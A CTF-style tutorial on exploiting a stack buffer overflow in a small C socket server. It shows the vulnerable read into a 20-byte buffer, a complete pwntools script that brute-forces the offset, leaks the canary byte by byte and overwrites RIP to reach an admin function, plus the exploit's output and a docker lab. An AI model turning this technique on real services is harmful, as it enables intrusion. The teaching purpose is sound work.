#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "serve.h"
int fd_f;
int authentification(void) {
char buf[20];
char passwd[16] = ""; // array to store the secret pass
FILE *fp = fopen(".passwd", "r");
fread(passwd, 1, 15, fp);
fclose(fp);
passwd[15] = '\0';
write(fd_f, "Password :\n",11);
read(fd_f, buf, 1024);
if (!strcmp(buf, passwd)) {
return 1;
} else {
return 0;
}
}
void admin(void){
write(fd_f, "Congratulation\n", 15);
}
void serve(int fd_) {
int auth;
fd_f = fd_;
write(fd_f, "Welcome, please login in order to use the app.\n",47);
auth = authentification();
if (auth) {
write(fd_f, "Welcome User\n",13);
} else {
write(fd_f, "Bad password\n",13);
}
return;
}
int main() {
Serve socket = Serve_Create();
if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
perror("Binding socket error :");
exit(1);
} else if (socket.Listen(&socket, serve, 5) < 0){
perror("Listen error :");
exit(1);
}
return 0;
}
The binary is compiled without PIE and is served using the serve.c code
The serve.c code will not be explain here.
It will just serve the binary over a socket and make a fork of it to handle multiple connection at a time.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "serve.h"
int fd_f;
int authentification(void) {
char buf[20];
char passwd[16] = ""; // array to store the secret pass
FILE *fp = fopen(".passwd", "r");
fread(passwd, 1, 15, fp);
fclose(fp);
passwd[15] = '\0';
write(fd_f, "Password :\n",11);
read(fd_f, buf, 19);
if (!strcmp(buf, passwd)) {
return 1;
} else {
return 0;
}
}
void admin(void){
write(fd_f, "Congratulation\n", 15);
}
void serve(int fd_) {
int auth;
fd_f = fd_;
write(fd_f, "Welcome, please login in order to use the app.\n",47);
auth = authentification();
if (auth) {
write(fd_f, "Welcome User\n",13);
} else {
write(fd_f, "Bad password\n",13);
}
return;
}
int main() {
Serve socket = Serve_Create();
if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
perror("Binding socket error :");
exit(1);
} else if (socket.Listen(&socket, serve, 5) < 0){
perror("Listen error :");
exit(1);
}
return 0;
}
The buffer overflow occur during the authentication function at line 19 :
read(fd_f, buf, 1024);
Exploitation
Using the stack reading technique is possible to retrieve the canary value and then reuse it and overwrite RIP to jump to the admin function.
from pwn import *
def get_overflow_len(wait, expected):
i = 1
while i < 1000:
print(f"Trying offset : {i}")
p = remote("127.0.0.1", 1337)
p.recvuntil(wait)
p.send(b"A" * i)
res = p.recvall(timeout=0.5)
p.close()
if not res or expected not in res:
print(f"[bold][green]✓[/green]found offset :[/bold][green] {i - 1}[/green]")
offset = i - 1
return offset
i += 1
def leak_stack(wait, expected, offset, length=8):
global stop
stack = b""
for i in range(length):
for j in range(256):
p = remote("127.0.0.1", 1337)
b = j.to_bytes(1, "big")
print(f"Trying byte : {b}")
p.recvuntil(wait)
p.send(b"A" * offset + stack + b)
res = p.recvall(timeout=0.5)
p.close()
if res and expected in res:
print(f"byte found : {b}")
stack = stack + b
break
if j == 255:
stop = True
print("Unable to leak stack byte")
return stack
offset = get_overflow_len(b"Password :\n", b"Bad") #Retrieve buffer overflow offset
leaked = leak_stack(b"Password :\n", b"Bad", offset) # Retrieve stack canary
print(f"Leaked data : {hex(u64(leaked))}")
p = remote("127.0.0.1", 1337)
p.recvuntil(b"Password :\n")
p.send(b"A"*offset + leaked + p64(0) + p64(elf.symbols["admin"])) # Exploit
p.interactive()
$ python3 exploit.py
Leaked data : 0x1032ebdd91559100
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
Congratulation
Exercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:stack_reading
Deploy the image using the followed command :
docker run --name buffer_overflow_stack_reading -it --rm -d -p 3000:3000 thectfrecipes/pwn:stack_reading
Access to the web shell with your browser at the address : http://localhost:3000/